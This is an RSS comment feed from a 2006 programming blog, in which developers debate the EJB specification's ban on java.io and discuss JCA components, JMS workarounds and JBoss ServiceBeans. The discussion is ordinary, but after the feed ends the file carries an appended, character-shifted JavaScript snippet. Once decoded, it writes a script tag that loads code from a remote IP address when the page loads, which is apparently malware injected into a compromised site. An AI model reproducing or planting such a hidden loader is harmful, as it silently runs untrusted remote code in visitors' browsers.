<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: java.io in EJBs -  WTF?!?!</title>
	<atom:link href="http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Thu, 04 Dec 2008 02:11:55 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Matt</title>
		<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-694</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Fri, 24 Feb 2006 19:07:11 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-694</guid>
		<description>Jeff,  Yeah I saw that post too... forgot to mention it.  Thanks for that ;).

As I understand the problem(s), it really comes down to the container is not managing these resources for you.  Guess what: regardless of what technology you use, JMS Queues or what-have-you, it does not get around it.   And I might add, all of the options you threw out were mentioned in our team meetings.</description>
		<content:encoded><![CDATA[<p>Jeff,  Yeah I saw that post too&#8230; forgot to mention it.  Thanks for that ;).</p>
<p>As I understand the problem(s), it really comes down to the container is not managing these resources for you.  Guess what: regardless of what technology you use, JMS Queues or what-have-you, it does not get around it.   And I might add, all of the options you threw out were mentioned in our team meetings.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt</title>
		<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-693</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Fri, 24 Feb 2006 18:57:58 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-693</guid>
		<description>Bob: I fully agree.</description>
		<content:encoded><![CDATA[<p>Bob: I fully agree.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bob Lee</title>
		<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-692</link>
		<dc:creator>Bob Lee</dc:creator>
		<pubDate>Fri, 24 Feb 2006 18:33:11 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-692</guid>
		<description>I've run into the exact same dogmatism (over the static/synchronization rules in my case). Those rules are there so your EJB works in a clustered environment (i.e. if you write a file on one server, it won't be on another necessarily) and so you don't interfere with the server's ability to manage resources (for example, you wouldn't want to make a piece of code complete synchronized). The rules are too drastic. If you understand the reasons for not using file I/O or statics or synchronization in this sort of evironment, there's no reason you shouldn't do so where it makes sense.</description>
		<content:encoded><![CDATA[<p>I&#8217;ve run into the exact same dogmatism (over the static/synchronization rules in my case). Those rules are there so your EJB works in a clustered environment (i.e. if you write a file on one server, it won&#8217;t be on another necessarily) and so you don&#8217;t interfere with the server&#8217;s ability to manage resources (for example, you wouldn&#8217;t want to make a piece of code complete synchronized). The rules are too drastic. If you understand the reasons for not using file I/O or statics or synchronization in this sort of evironment, there&#8217;s no reason you shouldn&#8217;t do so where it makes sense.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jeff Sheets</title>
		<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-691</link>
		<dc:creator>Jeff Sheets</dc:creator>
		<pubDate>Fri, 24 Feb 2006 14:39:49 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-691</guid>
		<description>Hey Matt,
I've often been confused by this too.  I know it's been in the spec for as long as I can remember, and I've often referenced this post for clarification:
http://weblogs.java.net/blog/simongbrown/archive/2003/10/file_access_in.html
Too bad it doesn't really clarify :-)

I've seen some creative ways to get around this that I'm not sure are any better.  One project someone had wrote a java client that connected to a Queue and processed a ReadFile message by writing the file back to another JMS Queue/Topic.  Essentially it was an MDB but ran outside of the container.  The same thing could probably be accomplished with Spring's new JMS Listener beans (name escapes me).

I've also seen people use a DAO-type object to read/write to the file.  But I don't think this technically gets around the EJB restriction, since the DAO is still called from within the EJB.

So I totally agree that this is a shady area in the spec that nobody seems to have a solid solution to, but the JCA idea sounds promising.  I believe that WLS 9.0 will have a MDB-type bean that can watch a file or directory for changes instead of a JMS Queue, which would work for us in many cases...</description>
		<content:encoded><![CDATA[<p>Hey Matt,<br />
I&#8217;ve often been confused by this too.  I know it&#8217;s been in the spec for as long as I can remember, and I&#8217;ve often referenced this post for clarification:<br />
<a href="http://weblogs.java.net/blog/simongbrown/archive/2003/10/file_access_in.html" rel="nofollow">http://weblogs.java.net/blog/simongbrown/archive/2003/10/file_access_in.html</a><br />
Too bad it doesn&#8217;t really clarify <img src='http://blog.secosoft.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>I&#8217;ve seen some creative ways to get around this that I&#8217;m not sure are any better.  One project someone had wrote a java client that connected to a Queue and processed a ReadFile message by writing the file back to another JMS Queue/Topic.  Essentially it was an MDB but ran outside of the container.  The same thing could probably be accomplished with Spring&#8217;s new JMS Listener beans (name escapes me).</p>
<p>I&#8217;ve also seen people use a DAO-type object to read/write to the file.  But I don&#8217;t think this technically gets around the EJB restriction, since the DAO is still called from within the EJB.</p>
<p>So I totally agree that this is a shady area in the spec that nobody seems to have a solid solution to, but the JCA idea sounds promising.  I believe that WLS 9.0 will have a MDB-type bean that can watch a file or directory for changes instead of a JMS Queue, which would work for us in many cases&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt</title>
		<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-690</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Fri, 24 Feb 2006 14:08:13 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-690</guid>
		<description>Thank you for that Andy, it helps a me a little bit, but I am still not quite sure I understand the real reason for not allowing file I/O.  This may be due to the poorly worded nature of the spec, as I am still not sure that it is a problem to use java.io inside of a subcomponent or delegate.

As for transactional support, it makes sense to use the JCA when you need to make sure things are properly handled in that scenario.  But in my case, all I am doing is reading files from another server/service and storing them in my database.   The transactional piece is taken care of by the JDBC layer, for which, I might add, I will need to use an java.io.InputStream to get my binary content into the system...

I would also like to point out that portability is generally not an issue for the enterprise applications developer.  We are running WebLogic (sorry) and there is nothing on the road map that indicates this will change.  If it does, things will break. Part of the problem with portability in the J2EE spec is that J2EE is designed to allow vendors to provide extensions, which breaks portability.  So, I feel that portability is a poor arguement for this situation.  

Also, I have never seen, on all the seven or so OS's and the 4 or 5 containers I have worked in, a problem specifically with java.io.  Sure, there have been Socket issues, and there is always the damned threading issues, but not &lt;em&gt;specifically&lt;/em&gt; java.io issues.</description>
		<content:encoded><![CDATA[<p>Thank you for that Andy, it helps a me a little bit, but I am still not quite sure I understand the real reason for not allowing file I/O.  This may be due to the poorly worded nature of the spec, as I am still not sure that it is a problem to use java.io inside of a subcomponent or delegate.</p>
<p>As for transactional support, it makes sense to use the JCA when you need to make sure things are properly handled in that scenario.  But in my case, all I am doing is reading files from another server/service and storing them in my database.   The transactional piece is taken care of by the JDBC layer, for which, I might add, I will need to use an java.io.InputStream to get my binary content into the system&#8230;</p>
<p>I would also like to point out that portability is generally not an issue for the enterprise applications developer.  We are running WebLogic (sorry) and there is nothing on the road map that indicates this will change.  If it does, things will break. Part of the problem with portability in the J2EE spec is that J2EE is designed to allow vendors to provide extensions, which breaks portability.  So, I feel that portability is a poor arguement for this situation.  </p>
<p>Also, I have never seen, on all the seven or so OS&#8217;s and the 4 or 5 containers I have worked in, a problem specifically with java.io.  Sure, there have been Socket issues, and there is always the damned threading issues, but not <em>specifically</em> java.io issues.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: andy</title>
		<link>http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-689</link>
		<dc:creator>andy</dc:creator>
		<pubDate>Fri, 24 Feb 2006 09:55:46 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/02/23/javaio-in-ejbs-wtf/#comment-689</guid>
		<description>I would like to point out that this is not a new addition to the specification.  And there are a number of reasons why java.io might reduce portability.  For one the specificaiton does not percisely define the appserver's threading model and threading dynamics.  If you listen on a socket and work with incomming connections then you must also deal with threaded programming (which it also declines as your domain elsewhere).  I've seen a number of instances where poorly threaded code worked on one appserver and not the other (often due to chance or race conditions).  So there are rationales and reasons (such as  portability).  

The "spec" portable and correct way to say open up a socket, read/write a file, etc is to create a JCA component.  A JCA component has a portable way of defining "work" and the underlying transactional semantics of that work.  Again there are some rhymes and reasons (and even counterarguments) for this, such as lets say you write a file, then attemt to send a JMS message "file written name"+name but the JMS server is down (must not be using JBoss ;-) ) and so the transaction roles back but now you have a file sitting around that no one knows about (that you would like to have "never written" or "undo" aka "delete").  A JCA component gets proper notification.  A counter argument to this is the ability to use the SessionSyncronization (SFSB) to pull this off.  

However, a rule of thumb is that the core spec tries to draw a line between the system and application programmer (one of those lines is resource management), and favors portability in some places over empowerment.  stateless session beans are REALLY inapporpriate for threading (cause they are pooled any your lock on any given instance is method invocation long), and um putting that in an "entity" would probably be pretty ill advised.  If you're willing to step outside the spec a little and are in JBoss's EJB3 container (which there is probably pretty close to a 1 in 3 chance that this is the case) then you could use ServiceBeans.  Service Beans essentially have the same thread model as a default thread model servlet (all threads by same instance...).  They look smell and feel like SLSBs and you can also give them an MBean name (they are a little fatter than model JMX MBeans).  Same annotation semantics, etc.  MBeans have tradtionally been how a lot of people did potentially non-portable code in JBoss that they wanted to control (for instance).  This is really a revision of that.

So use good judgement and do what makes sense for your app.  Also I strongly suspect the nio was just a cut and paste error.  I don't know if it can be corrected at this stage, but I'll mention it.</description>
		<content:encoded><![CDATA[<p>I would like to point out that this is not a new addition to the specification.  And there are a number of reasons why java.io might reduce portability.  For one the specificaiton does not percisely define the appserver&#8217;s threading model and threading dynamics.  If you listen on a socket and work with incomming connections then you must also deal with threaded programming (which it also declines as your domain elsewhere).  I&#8217;ve seen a number of instances where poorly threaded code worked on one appserver and not the other (often due to chance or race conditions).  So there are rationales and reasons (such as  portability).  </p>
<p>The &#8220;spec&#8221; portable and correct way to say open up a socket, read/write a file, etc is to create a JCA component.  A JCA component has a portable way of defining &#8220;work&#8221; and the underlying transactional semantics of that work.  Again there are some rhymes and reasons (and even counterarguments) for this, such as lets say you write a file, then attemt to send a JMS message &#8220;file written name&#8221;+name but the JMS server is down (must not be using JBoss <img src='http://blog.secosoft.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ) and so the transaction roles back but now you have a file sitting around that no one knows about (that you would like to have &#8220;never written&#8221; or &#8220;undo&#8221; aka &#8220;delete&#8221;).  A JCA component gets proper notification.  A counter argument to this is the ability to use the SessionSyncronization (SFSB) to pull this off.  </p>
<p>However, a rule of thumb is that the core spec tries to draw a line between the system and application programmer (one of those lines is resource management), and favors portability in some places over empowerment.  stateless session beans are REALLY inapporpriate for threading (cause they are pooled any your lock on any given instance is method invocation long), and um putting that in an &#8220;entity&#8221; would probably be pretty ill advised.  If you&#8217;re willing to step outside the spec a little and are in JBoss&#8217;s EJB3 container (which there is probably pretty close to a 1 in 3 chance that this is the case) then you could use ServiceBeans.  Service Beans essentially have the same thread model as a default thread model servlet (all threads by same instance&#8230;).  They look smell and feel like SLSBs and you can also give them an MBean name (they are a little fatter than model JMX MBeans).  Same annotation semantics, etc.  MBeans have tradtionally been how a lot of people did potentially non-portable code in JBoss that they wanted to control (for instance).  This is really a revision of that.</p>
<p>So use good judgement and do what makes sense for your app.  Also I strongly suspect the nio was just a cut and paste error.  I don&#8217;t know if it can be corrected at this stage, but I&#8217;ll mention it.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

